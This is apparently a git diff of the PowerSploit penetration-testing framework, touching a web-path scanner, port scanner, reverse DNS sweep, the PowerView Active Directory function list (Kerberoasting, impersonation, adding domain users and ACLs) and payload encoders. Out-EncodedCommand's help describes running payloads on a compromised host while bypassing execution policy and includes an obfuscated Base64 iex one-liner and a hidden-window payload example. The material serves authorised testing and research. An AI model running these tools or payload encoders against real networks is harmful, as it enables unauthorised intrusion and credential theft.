if ($UseSSL -and $Port -eq 0) {
# Default to 443 if SSL is specified but no port is specified
$Port = 443
} elseif ($Port -eq 0) {
}
elseif ($Port -eq 0) {
# Default to port 80 if no port is specified
$Port = 80
}
$TcpConnection = New-Object System.Net.Sockets.TcpClient
Write-Verbose "Path Test Succeeded - Testing Connectivity"
try {
# Validate that the host is listening before scanning
$TcpConnection.Connect($Target, $Port)
} catch {
}
catch {
Write-Error "Connection Test Failed - Check Target"
$Tcpconnection.Close()
Return
Return
}
$Tcpconnection.Close()
} else {
}
else {
Write-Error "Path Test Failed - Check Dictionary Path"
Return
}
if ($UseSSL) {
$SSL = 's'
# Ignore invalid SSL certificates
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $True }
} else {
}
else {
$SSL = ''
}
if (($Port -eq 80) -or ($Port -eq 443)) {
$PortNum = ''
} else {
}
else {
$PortNum = ":$Port"
}
# Check Http status for each entry in the doctionary file
foreach ($Item in Get-Content $Path) {
@@ -117,24 +122,23 @@ http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html
$WebRequest = [System.Net.WebRequest]::Create($URI)
$WebResponse = $WebRequest.GetResponse()
$WebStatus = $WebResponse.StatusCode
$ResultObject += $ScanObject
$WebResponse.Close()
} catch {
}
catch {
$WebStatus = $Error[0].Exception.InnerException.Response.StatusCode
if ($WebStatus -eq $null) {
if (-not $WebStatus) {
# Not every exception returns a StatusCode.
# If that is the case, return the Status.
$WebStatus = $Error[0].Exception.InnerException.Status
}
}
}
$Result = @{ Status = $WebStatus;
URL = $WebTarget}
$ScanObject = New-Object -TypeName PSObject -Property $Result
Write-Output $ScanObject
}
}
File diff suppressed because it is too large Load Diff
+80 -15
View File
@@ -5,11 +5,11 @@ function Invoke-Portscan
Simple portscan module
PowerSploit Function: Invoke-Portscan
Author: Rich Lundeen (http://webstersProdigy.net)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PowerSploit Function: Invoke-Portscan
Author: Rich Lundeen (http://webstersProdigy.net)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
@@ -114,7 +114,7 @@ Force Overwrite if output Files exist. Otherwise it throws exception
.EXAMPLE
C:\PS> Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50
Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50
Description
-----------
@@ -122,7 +122,7 @@ Scans the top 50 ports for hosts found for webstersprodigy.net,google.com, and m
.EXAMPLE
C:\PS> echo webstersprodigy.net | Invoke-Portscan -oG test.gnmap -f -ports "80,443,8080"
echo webstersprodigy.net | Invoke-Portscan -oG test.gnmap -f -ports "80,443,8080"
Description
-----------
@@ -130,7 +130,7 @@ Does a portscan of "webstersprodigy.net", and writes a greppable output file
.EXAMPLE
C:\PS> Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 25 -oA localnet
Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 25 -oA localnet
Description
-----------
@@ -141,7 +141,13 @@ Scans the top 20 ports for hosts found in the 192.168.1.1/24 range, outputs all
http://webstersprodigy.net
#>
[CmdletBinding()]Param (
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseSingularNouns', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseLiteralInitializerForHashtable', '')]
[CmdletBinding()]
Param (
#Host, Ports
[Parameter(ParameterSetName="cmdHosts",
@@ -256,6 +262,8 @@ http://webstersprodigy.net
[String[]] $iHosts = $Hosts.Split(",")
$IPRangeRegex = "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}-\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}"
foreach($iHost in $iHosts)
{
$iHost = $iHost.Replace(" ", "")
@@ -309,6 +317,65 @@ http://webstersprodigy.net
}
}
if($iHost -match $IPRangeRegex)
{
$iHostPart1 = ($iHost.Split("-"))[0]
$iHostPart2 = ($iHost.Split("-"))[1]
$LowerBound = $iHostPart1.Split(".")
$UpperBound = $iHostPart2.Split(".")
$LowerBoundInt = ($LowerBound[0].ToInt32($null),$LowerBound[1].ToInt32($null),$LowerBound[2].ToInt32($null),$LowerBound[3].ToInt32($null))
$UpperBoundInt = ($UpperBound[0].ToInt32($null),$UpperBound[1].ToInt32($null),$UpperBound[2].ToInt32($null),$UpperBound[3].ToInt32($null))
$CurrentIP = $LowerBoundInt
$CurrentIPString = $null
$ControlArray = @(0,0,0,0)
$null = $hostList.Add($iHostPart1)
while($CurrentIPString -ne $iHostPart2)
{
for($i=0;$i -lt 4;$i++)
{
if(($CurrentIP[$i] -eq $UpperBoundInt[$i]) -and (($i -eq 0) -or $ControlArray[$i-1] -eq 1))
{
$ControlArray[$i] = 1
continue
}
else
{
$Max = 254
if(($i -ne 0) -and ($ControlArray[$i-1] -eq 1))
{
$Max = $UpperBoundInt[$i]
}
if(($i -ne 3) -and ($CurrentIP[$i+1] -eq 254))
{
$CurrentIP[$i]++
$CurrentIP[$i+1]=0
$CurrentIPString = ($CurrentIP[0].ToString() + "." + $CurrentIP[1].ToString() + "." + $CurrentIP[2].ToString() + "." + $CurrentIP[3].ToString())
$null = $hostList.Add($CurrentIPString)
}
if(($i -eq 3) -and ($CurrentIP[$i] -lt $Max))
{
$CurrentIP[$i]++
$CurrentIPString = ($CurrentIP[0].ToString() + "." + $CurrentIP[1].ToString() + "." + $CurrentIP[2].ToString() + "." + $CurrentIP[3].ToString())
$null = $hostList.Add($CurrentIPString)
}
}
}
}
}
else
{
@@ -748,9 +815,9 @@ http://webstersprodigy.net
#TODO deal with output
Write-PortscanOut -comment $startMsg -grepStream $grepStream -xmlStream $xmlStream -readableStream $readableStream
#converting back from int array gives some argument error checking
$sPortList = [string]::join(",", $portList)
$sHostPortList = [string]::join(",", $hostPortList)
# #converting back from int array gives some argument error checking
# $sPortList = [string]::join(",", $portList)
# $sHostPortList = [string]::join(",", $hostPortList)
########
#Port Scan Code - run on a per host basis
@@ -840,7 +907,6 @@ http://webstersprodigy.net
$sockets[$p] = new-object System.Net.Sockets.TcpClient
}
$scriptBlockAsString = @"
#somewhat of a race condition with the timeout, but I don't think it matters
@@ -885,8 +951,7 @@ http://webstersprodigy.net
$timeouts[$p].Enabled = $true
$myscriptblock = [scriptblock]::Create($scriptBlockAsString)
$x = $sockets[$p].beginConnect($h, $p,(New-ScriptBlockCallback($myscriptblock)) , $null)
$Null = $sockets[$p].beginConnect($h, $p,(New-ScriptBlockCallback($myscriptblock)) , $null)
}
function PortScan-Alive
+44 -40
View File
@@ -5,23 +5,23 @@ function Invoke-ReverseDnsLookup
Perform a reverse DNS lookup scan on a range of IP addresses.
PowerSploit Function: Invoke-ReverseDnsLookup
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PowerSploit Function: Invoke-ReverseDnsLookup
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Invoke-ReverseDnsLookup scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaisance prior to conducting an authorized penetration test.
Invoke-ReverseDnsLookup scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test.
.PARAMETER IPRange
Specifies the IP address range. The range provided can be in the form of a single IP address, a low-high range, or a CIDR range. Comma-delimited ranges may can be provided.
.EXAMPLE
C:\PS> Invoke-ReverseDnsLookup 74.125.228.0/29
Invoke-ReverseDnsLookup 74.125.228.0/29
IP HostName
-- --------
@@ -31,29 +31,29 @@ IP HostName
74.125.228.4 iad23s05-in-f4.1e100.net
74.125.228.5 iad23s05-in-f5.1e100.net
74.125.228.6 iad23s05-in-f6.1e100.net
Description
-----------
Returns the hostnames of the IP addresses specified by the CIDR range.
.EXAMPLE
C:\PS> Invoke-ReverseDnsLookup '74.125.228.1,74.125.228.4-74.125.228.6'
Invoke-ReverseDnsLookup '74.125.228.1,74.125.228.4-74.125.228.6'
IP HostName
-- --------
74.125.228.1 iad23s05-in-f1.1e100.net
74.125.228.4 iad23s05-in-f4.1e100.net
74.125.228.5 iad23s05-in-f5.1e100.net
74.125.228.6 iad23s05-in-f6.1e100.net
Description
-----------
Returns the hostnames of the IP addresses specified by the IP range specified.
.EXAMPLE
PS C:\> Write-Output "74.125.228.1,74.125.228.0/29" | Invoke-ReverseDnsLookup
Write-Output "74.125.228.1,74.125.228.0/29" | Invoke-ReverseDnsLookup
IP HostName
-- --------
@@ -69,13 +69,15 @@ Description
-----------
Returns the hostnames of the IP addresses piped from another source.
.LINK
http://www.exploit-monday.com
https://github.com/mattifestation/PowerSploit
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, Mandatory = $True,ValueFromPipeline=$True)]
[String]
@@ -83,14 +85,14 @@ https://github.com/mattifestation/PowerSploit
)
BEGIN {
function Parse-IPList ([String] $IpRange)
{
function IPtoInt
{
Param([String] $IpString)
$Hexstr = ""
$Octets = $IpString.Split(".")
foreach ($Octet in $Octets) {
@@ -98,7 +100,7 @@ https://github.com/mattifestation/PowerSploit
}
return [Convert]::ToInt64($Hexstr, 16)
}
function InttoIP
{
Param([Int64] $IpInt)
@@ -110,15 +112,15 @@ https://github.com/mattifestation/PowerSploit
}
return $IpStr.TrimEnd('.')
}
$Ip = [System.Net.IPAddress]::Parse("127.0.0.1")
foreach ($Str in $IpRange.Split(","))
{
$Item = $Str.Trim()
$Result = ""
$IpRegex = "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}"
# First, validate the input
switch -regex ($Item)
{
@@ -139,11 +141,11 @@ https://github.com/mattifestation/PowerSploit
}
default
{
Write-Warning "Inproper input"
Write-Warning "Improper input"
return
}
}
#Now, start processing the IP addresses
switch ($Result)
{
@@ -152,14 +154,14 @@ https://github.com/mattifestation/PowerSploit
$CidrRange = $Item.Split("/")
$Network = $CidrRange[0]
$Mask = $CidrRange[1]
if (!([System.Net.IPAddress]::TryParse($Network, [ref] $Ip))) { Write-Warning "Invalid IP address supplied!"; return}
if (($Mask -lt 0) -or ($Mask -gt 30)) { Write-Warning "Invalid network mask! Acceptable values are 0-30"; return}
$BinaryIP = [Convert]::ToString((IPtoInt $Network),2).PadLeft(32,'0')
#Generate lower limit (Excluding network address)
$Lower = $BinaryIP.Substring(0, $Mask) + "0" * ((32-$Mask)-1) + "1"
#Generate upperr limit (Excluding broadcast address)
#Generate upper limit (Excluding broadcast address)
$Upper = $BinaryIP.Substring(0, $Mask) + "1" * ((32-$Mask)-1) + "0"
$LowerInt = [Convert]::ToInt64($Lower, 2)
$UpperInt = [Convert]::ToInt64($Upper, 2)
@@ -168,21 +170,21 @@ https://github.com/mattifestation/PowerSploit
"range"
{
$Range = $item.Split("-")
if ([System.Net.IPAddress]::TryParse($Range[0],[ref]$Ip)) { $Temp1 = $Ip }
else { Write-Warning "Invalid IP address supplied!"; return }
if ([System.Net.IPAddress]::TryParse($Range[1],[ref]$Ip)) { $Temp2 = $Ip }
else { Write-Warning "Invalid IP address supplied!"; return }
$Left = (IPtoInt $Temp1.ToString())
$Right = (IPtoInt $Temp2.ToString())
if ($Right -gt $Left) {
for ($i = $Left; $i -le $Right; $i++) { InttoIP $i }
}
else { Write-Warning "Invalid IP range. The right portion must be greater than the left portion."; return}
break
}
"single"
@@ -193,28 +195,30 @@ https://github.com/mattifestation/PowerSploit
}
default
{
Write-Warning "An error occured."
Write-Warning "An error occurred."
return
}
}
}
}
}
PROCESS {
Parse-IPList $IpRange | ForEach-Object {
try {
Write-Verbose "Resolving $_"
$Temp = [System.Net.Dns]::GetHostEntry($_)
$Result = @{
IP = $_
HostName = $Temp.HostName
}
New-Object PSObject -Property $Result
} catch [System.Net.Sockets.SocketException] {}
}
catch [System.Net.Sockets.SocketException] {
Write-Verbose "Error: $_"
}
}
}
}
Regular → Executable
+17887 -8277
View File
File diff suppressed because it is too large Load Diff
+79 -80
View File
@@ -34,94 +34,93 @@ an array of hosts from the pipeline.
### Misc Functions:
Export-PowerViewCSV - thread-safe CSV append
Set-MacAttribute - Sets MAC attributes for a file based on another file or input (from Powersploit)
Copy-ClonedFile - copies a local file to a remote location, matching MAC properties
Get-IPAddress - resolves a hostname to an IP
Test-Server - tests connectivity to a specified server
Convert-NameToSid - converts a given user/group name to a security identifier (SID)
Convert-SidToName - converts a security identifier (SID) to a group/user name
Convert-NT4toCanonical - converts a user/group NT4 name (i.e. dev/john) to canonical format
Get-Proxy - enumerates local proxy settings
Resolve-IPAddress - resolves a hostname to an IP
ConvertTo-SID - converts a given user/group name to a security identifier (SID)
Convert-ADName - converts object names between a variety of formats
ConvertFrom-UACValue - converts a UAC int value to human readable form
Add-RemoteConnection - pseudo "mounts" a connection to a remote path using the specified credential object
Remove-RemoteConnection - destroys a connection created by New-RemoteConnection
Invoke-UserImpersonation - creates a new "runas /netonly" type logon and impersonates the token
Invoke-RevertToSelf - reverts any token impersonation
Get-DomainSPNTicket - request the kerberos ticket for a specified service principal name (SPN)
Invoke-Kerberoast - requests service tickets for kerberoast-able accounts and returns extracted ticket hashes
Get-PathAcl - get the ACLs for a local/remote file path with optional group recursion
Get-UserProperty - returns all properties specified for users, or a set of user:prop names
Get-ComputerProperty - returns all properties specified for computers, or a set of computer:prop names
Find-InterestingFile - search a local or remote path for files with specific terms in the name
Invoke-CheckLocalAdminAccess - check if the current user context has local administrator access to a specified host
Get-DomainSearcher - builds a proper ADSI searcher object for a given domain
Get-ObjectAcl - returns the ACLs associated with a specific active directory object
Add-ObjectAcl - adds an ACL to a specified active directory object
Get-LastLoggedOn - return the last logged on user for a target host
Get-CachedRDPConnection - queries all saved RDP connection entries on a target host
Invoke-ACLScanner - enumerate -1000+ modifable ACLs on a specified domain
Get-GUIDMap - returns a hash table of current GUIDs -> display names
Get-DomainSID - return the SID for the specified domain
Invoke-ThreadedFunction - helper that wraps threaded invocation for other functions
### net * Functions:
Get-NetDomain - gets the name of the current user's domain
Get-NetForest - gets the forest associated with the current user's domain
Get-NetForestDomain - gets all domains for the current forest
Get-NetDomainController - gets the domain controllers for the current computer's domain
Get-NetUser - returns all user objects, or the user specified (wildcard specifiable)
Add-NetUser - adds a local or domain user
Get-NetComputer - gets a list of all current servers in the domain
Get-NetPrinter - gets an array of all current computers objects in a domain
Get-NetOU - gets data for domain organization units
Get-NetSite - gets current sites in a domain
Get-NetSubnet - gets registered subnets for a domain
Get-NetGroup - gets a list of all current groups in a domain
Get-NetGroupMember - gets a list of all current users in a specified domain group
Get-NetLocalGroup - gets the members of a localgroup on a remote host or hosts
Add-NetGroupUser - adds a local or domain user to a local or domain group
Get-NetFileServer - get a list of file servers used by current domain users
Get-DFSshare - gets a list of all distribute file system shares on a domain
Get-NetShare - gets share information for a specified server
Get-NetLoggedon - gets users actively logged onto a specified server
Get-NetSession - gets active sessions on a specified server
Get-NetRDPSession - gets active RDP sessions for a specified server (like qwinsta)
Get-NetProcess - gets the remote processes and owners on a remote server
Get-UserEvent - returns logon or TGT events from the event log for a specified host
Get-ADObject - takes a domain SID and returns the user, group, or computer
object associated with it
Set-ADObject - takes a SID, name, or SamAccountName to query for a specified
domain object, and then sets a specified 'PropertyName' to a
specified 'PropertyValue'
### Domain/LDAP Functions:
Get-DomainDNSZone - enumerates the Active Directory DNS zones for a given domain
Get-DomainDNSRecord - enumerates the Active Directory DNS records for a given zone
Get-Domain - returns the domain object for the current (or specified) domain
Get-DomainController - return the domain controllers for the current (or specified) domain
Get-Forest - returns the forest object for the current (or specified) forest
Get-ForestDomain - return all domains for the current (or specified) forest
Get-ForestGlobalCatalog - return all global catalogs for the current (or specified) forest
Find-DomainObjectPropertyOutlier- inds user/group/computer objects in AD that have 'outlier' properties set
Get-DomainUser - return all users or specific user objects in AD
New-DomainUser - creates a new domain user (assuming appropriate permissions) and returns the user object
Set-DomainUserPassword - sets the password for a given user identity and returns the user object
Get-DomainUserEvent - enumerates account logon events (ID 4624) and Logon with explicit credential events
Get-DomainComputer - returns all computers or specific computer objects in AD
Get-DomainObject - returns all (or specified) domain objects in AD
Set-DomainObject - modifies a gven property for a specified active directory object
Get-DomainObjectAcl - returns the ACLs associated with a specific active directory object
Add-DomainObjectAcl - adds an ACL for a specific active directory object
Find-InterestingDomainAcl - finds object ACLs in the current (or specified) domain with modification rights set to non-built in objects
Get-DomainOU - search for all organization units (OUs) or specific OU objects in AD
Get-DomainSite - search for all sites or specific site objects in AD
Get-DomainSubnet - search for all subnets or specific subnets objects in AD
Get-DomainSID - returns the SID for the current domain or the specified domain
Get-DomainGroup - return all groups or specific group objects in AD
New-DomainGroup - creates a new domain group (assuming appropriate permissions) and returns the group object
Get-DomainManagedSecurityGroup - returns all security groups in the current (or target) domain that have a manager set
Get-DomainGroupMember - return the members of a specific domain group
Add-DomainGroupMember - adds a domain user (or group) to an existing domain group, assuming appropriate permissions to do so
Get-DomainFileServer - returns a list of servers likely functioning as file servers
Get-DomainDFSShare - returns a list of all fault-tolerant distributed file systems for the current (or specified) domain
### GPO functions
Get-GptTmpl - parses a GptTmpl.inf to a custom object
Get-NetGPO - gets all current GPOs for a given domain
Get-NetGPOGroup - gets all GPOs in a domain that set "Restricted Groups"
on on target machines
Find-GPOLocation - takes a user/group and makes machines they have effective
rights over through GPO enumeration and correlation
Find-GPOComputerAdmin - takes a computer and determines who has admin rights over it
through GPO enumeration
Get-DomainPolicy - returns the default domain or DC policy
Get-DomainGPO - returns all GPOs or specific GPO objects in AD
Get-DomainGPOLocalGroup - returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' or Group Policy preferences
Get-DomainGPOUserLocalGroupMapping - enumerates the machines where a specific domain user/group is a member of a specific local group, all through GPO correlation
Get-DomainGPOComputerLocalGroupMapping - takes a computer (or GPO) object and determines what users/groups are in the specified local group for the machine through GPO correlation
Get-DomainPolicy - returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller
### User-Hunting Functions:
Invoke-UserHunter - finds machines on the local domain where specified users are logged into, and can optionally check if the current user has local admin access to found machines
Invoke-StealthUserHunter - finds all file servers utilizes in user HomeDirectories, and checks the sessions one each file server, hunting for particular users
Invoke-ProcessHunter - hunts for processes with a specific name or owned by a specific user on domain machines
Invoke-UserEventHunter - hunts for user logon events in domain controller event logs
### Computer Enumeration Functions
Get-NetLocalGroup - enumerates the local groups on the local (or remote) machine
Get-NetLocalGroupMember - enumerates members of a specific local group on the local (or remote) machine
Get-NetShare - returns open shares on the local (or a remote) machine
Get-NetLoggedon - returns users logged on the local (or a remote) machine
Get-NetSession - returns session information for the local (or a remote) machine
Get-RegLoggedOn - returns who is logged onto the local (or a remote) machine through enumeration of remote registry keys
Get-NetRDPSession - returns remote desktop/session information for the local (or a remote) machine
Test-AdminAccess - rests if the current user has administrative access to the local (or a remote) machine
Get-NetComputerSiteName - returns the AD site where the local (or a remote) machine resides
Get-WMIRegProxy - enumerates the proxy server and WPAD conents for the current user
Get-WMIRegLastLoggedOn - returns the last user who logged onto the local (or a remote) machine
Get-WMIRegCachedRDPConnection - returns information about RDP connections outgoing from the local (or remote) machine
Get-WMIRegMountedDrive - returns information about saved network mounted drives for the local (or remote) machine
Get-WMIProcess - returns a list of processes and their owners on the local or remote machine
Find-InterestingFile - searches for files on the given path that match a series of specified criteria
### Threaded 'Meta'-Functions
Find-DomainUserLocation - finds domain machines where specific users are logged into
Find-DomainProcess - finds domain machines where specific processes are currently running
Find-DomainUserEvent - finds logon events on the current (or remote domain) for the specified users
Find-DomainShare - finds reachable shares on domain machines
Find-InterestingDomainShareFile - searches for files matching specific criteria on readable shares in the domain
Find-LocalAdminAccess - finds machines on the local domain where the current user has local administrator access
Find-DomainLocalGroupMember - enumerates the members of specified local group on machines in the domain
### Domain Trust Functions:
Get-NetDomainTrust - gets all trusts for the current user's domain
Get-NetForestTrust - gets all trusts for the forest associated with the current user's domain
Find-ForeignUser - enumerates users who are in groups outside of their principal domain
Find-ForeignGroup - enumerates all the members of a domain's groups and finds users that are outside of the queried domain
Invoke-MapDomainTrust - try to build a relational mapping of all domain trusts
### MetaFunctions:
Invoke-ShareFinder - finds (non-standard) shares on hosts in the local domain
Invoke-FileFinder - finds potentially sensitive files on hosts in the local domain
Find-LocalAdminAccess - finds machines on the domain that the current user has local admin access to
Find-UserField - searches a user field for a particular term
Find-ComputerField - searches a computer field for a particular term
Get-ExploitableSystem - finds systems likely vulnerable to common exploits
Invoke-EnumerateLocalAdmin - enumerates members of the local Administrators groups across all machines in the domain
Get-DomainTrust - returns all domain trusts for the current domain or a specified domain
Get-ForestTrust - returns all forest trusts for the current forest or a specified forest
Get-DomainForeignUser - enumerates users who are in groups outside of the user's domain
Get-DomainForeignGroupMember - enumerates groups with users outside of the group's domain and returns each foreign member
Get-DomainTrustMapping - this function enumerates all trusts for the current domain and then enumerates all trusts for each domain it finds
+70 -55
View File
@@ -23,70 +23,85 @@ PowerShellVersion = '2.0'
# Functions to export from this module
FunctionsToExport = @(
'Get-ComputerDetails',
'Get-HttpStatus',
'Invoke-Portscan',
'Invoke-ReverseDnsLookup',
'Set-MacAttribute',
'Copy-ClonedFile',
'Convert-NameToSid',
'Convert-SidToName',
'Convert-NT4toCanonical',
'Get-Proxy',
'Export-PowerViewCSV',
'Resolve-IPAddress',
'ConvertTo-SID',
'ConvertFrom-SID',
'Convert-ADName',
'ConvertFrom-UACValue',
'Add-RemoteConnection',
'Remove-RemoteConnection',
'Invoke-UserImpersonation',
'Invoke-RevertToSelf',
'Get-DomainSPNTicket',
'Invoke-Kerberoast',
'Get-PathAcl',
'Get-NetDomain',
'Get-NetForest',
'Get-NetForestDomain',
'Get-NetForestCatalog',
'Get-NetDomainController',
'Get-NetUser',
'Add-NetUser',
'Get-UserProperty',
'Find-UserField',
'Get-UserEvent',
'Get-ObjectAcl',
'Add-ObjectAcl',
'Invoke-ACLScanner',
'Get-NetComputer',
'Get-ADObject',
'Set-ADObject',
'Get-ComputerProperty',
'Find-ComputerField',
'Get-NetOU',
'Get-NetSite',
'Get-NetSubnet',
'Get-NetGroup',
'Get-NetGroupMember',
'Get-NetFileServer',
'Get-DFSshare',
'Get-NetGPO',
'Get-NetGPOGroup',
'Find-GPOLocation',
'Find-GPOComputerAdmin',
'Get-DomainDNSZone',
'Get-DomainDNSRecord',
'Get-Domain',
'Get-DomainController',
'Get-Forest',
'Get-ForestDomain',
'Get-ForestGlobalCatalog',
'Find-DomainObjectPropertyOutlier',
'Get-DomainUser',
'New-DomainUser',
'Set-DomainUserPassword',
'Get-DomainUserEvent',
'Get-DomainComputer',
'Get-DomainObject',
'Set-DomainObject',
'Set-DomainObjectOwner',
'Get-DomainObjectAcl',
'Add-DomainObjectAcl',
'Find-InterestingDomainAcl',
'Get-DomainOU',
'Get-DomainSite',
'Get-DomainSubnet',
'Get-DomainSID',
'Get-DomainGroup',
'New-DomainGroup',
'Get-DomainManagedSecurityGroup',
'Get-DomainGroupMember',
'Add-DomainGroupMember',
'Get-DomainFileServer',
'Get-DomainDFSShare',
'Get-DomainGPO',
'Get-DomainGPOLocalGroup',
'Get-DomainGPOUserLocalGroupMapping',
'Get-DomainGPOComputerLocalGroupMapping',
'Get-DomainPolicy',
'Get-NetLocalGroup',
'Get-NetLocalGroupMember',
'Get-NetShare',
'Get-NetLoggedon',
'Get-NetSession',
'Get-RegLoggedOn',
'Get-NetRDPSession',
'Invoke-CheckLocalAdminAccess',
'Get-LastLoggedOn',
'Get-CachedRDPConnection',
'Get-NetProcess',
'Test-AdminAccess',
'Get-NetComputerSiteName',
'Get-WMIRegProxy',
'Get-WMIRegLastLoggedOn',
'Get-WMIRegCachedRDPConnection',
'Get-WMIRegMountedDrive',
'Get-WMIProcess',
'Find-InterestingFile',
'Invoke-UserHunter',
'Invoke-ProcessHunter',
'Invoke-EventHunter',
'Invoke-ShareFinder',
'Invoke-FileFinder',
'Find-DomainUserLocation',
'Find-DomainProcess',
'Find-DomainUserEvent',
'Find-DomainShare',
'Find-InterestingDomainShareFile',
'Find-LocalAdminAccess',
'Get-ExploitableSystem',
'Invoke-EnumerateLocalAdmin',
'Get-NetDomainTrust',
'Get-NetForestTrust',
'Find-ForeignUser',
'Find-ForeignGroup',
'Invoke-MapDomainTrust'
'Find-DomainLocalGroupMember',
'Get-DomainTrust',
'Get-ForestTrust',
'Get-DomainForeignUser',
'Get-DomainForeignGroupMember',
'Get-DomainTrustMapping',
'Get-ComputerDetail',
'Get-HttpStatus',
'Invoke-Portscan',
'Invoke-ReverseDnsLookup'
)
# List of all files packaged with this module
+11 -9
View File
@@ -5,12 +5,12 @@ function Out-CompressedDll
Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory.
PowerSploit Function: Out-CompressedDll
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PowerSploit Function: Out-CompressedDll
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Out-CompressedDll outputs code that loads a compressed representation of a managed dll in memory as a byte array.
@@ -21,7 +21,7 @@ Specifies the path to a managed executable.
.EXAMPLE
C:\PS> Out-CompressedDll -FilePath evil.dll
Out-CompressedDll -FilePath evil.dll
Description
-----------
@@ -36,7 +36,9 @@ Only pure MSIL-based dlls can be loaded using this technique. Native or IJW ('it
http://www.exploit-monday.com/2012/12/in-memory-dll-loading.html
#>
[CmdletBinding()] Param (
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True)]
[String]
$FilePath
@@ -51,7 +53,7 @@ http://www.exploit-monday.com/2012/12/in-memory-dll-loading.html
$FileBytes = [System.IO.File]::ReadAllBytes($Path)
if (($FileBytes[0..1] | % {[Char]$_}) -join '' -cne 'MZ')
if (($FileBytes[0..1] | ForEach-Object {[Char]$_}) -join '' -cne 'MZ')
{
Throw "$Path is not a valid executable."
}
+10 -9
View File
@@ -5,12 +5,12 @@ function Out-EncodedCommand
Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script.
PowerSploit Function: Out-EncodedCommand
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PowerSploit Function: Out-EncodedCommand
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Out-EncodedCommand prepares a PowerShell script such that it can be pasted into a command prompt. The scenario for using this tool is the following: You compromise a machine, have a shell and want to execute a PowerShell script as a payload. This technique eliminates the need for an interactive PowerShell 'shell' and it bypasses any PowerShell execution policies.
@@ -49,13 +49,13 @@ Base-64 encodes the entirety of the output. This is usually unnecessary and effe
.EXAMPLE
C:\PS> Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'}
Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'}
powershell -C sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('Cy/KLEnV9cgvLlFQz0jNycnXUSjPL8pJUVQHAA=='),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()
.EXAMPLE
C:\PS> Out-EncodedCommand -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput
Out-EncodedCommand -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput
